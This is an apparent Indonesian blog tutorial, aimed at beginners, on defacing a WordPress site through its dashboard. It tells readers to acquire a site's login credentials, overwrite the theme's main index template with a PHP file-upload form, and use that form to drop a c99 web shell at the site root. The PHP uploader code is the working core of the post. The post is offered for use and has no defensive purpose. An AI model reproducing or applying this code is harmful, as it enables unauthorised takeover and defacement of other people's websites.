CARA DEFACE WORDPRESS DI DASHBOARD

hallo, 
dalam tutorial ini saya akan menjelaskan cara deface wordpress di dashboard.
tutorial ini untuk pemula saja :D
ok, kita mulai.
pertama tama kita harus menemukan user + password nya.
lalu login ke www.example.com/wp-login.php

lalu kita ke menu appearance -> editor -> main index template
(liat gambar)



lalu ganti semua kode nya dengan kode di bawah ini

<?php

echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';

echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!! Enjoy brother</b><br><br>'; }
    else { echo '<b>Upload Failed !!! Try again</b><br><br>'; }
}
?>


trus save, dan liat halaman depan situs tadi,





dan shell kita siap di upload .. ..
letak shell kita www.example.com/c99.php

















selamat mencoba, maaf kalo ada yg salah..
"jangan lupa komentarnya ya .."

0 comments:

Post a Comment

SITE INFO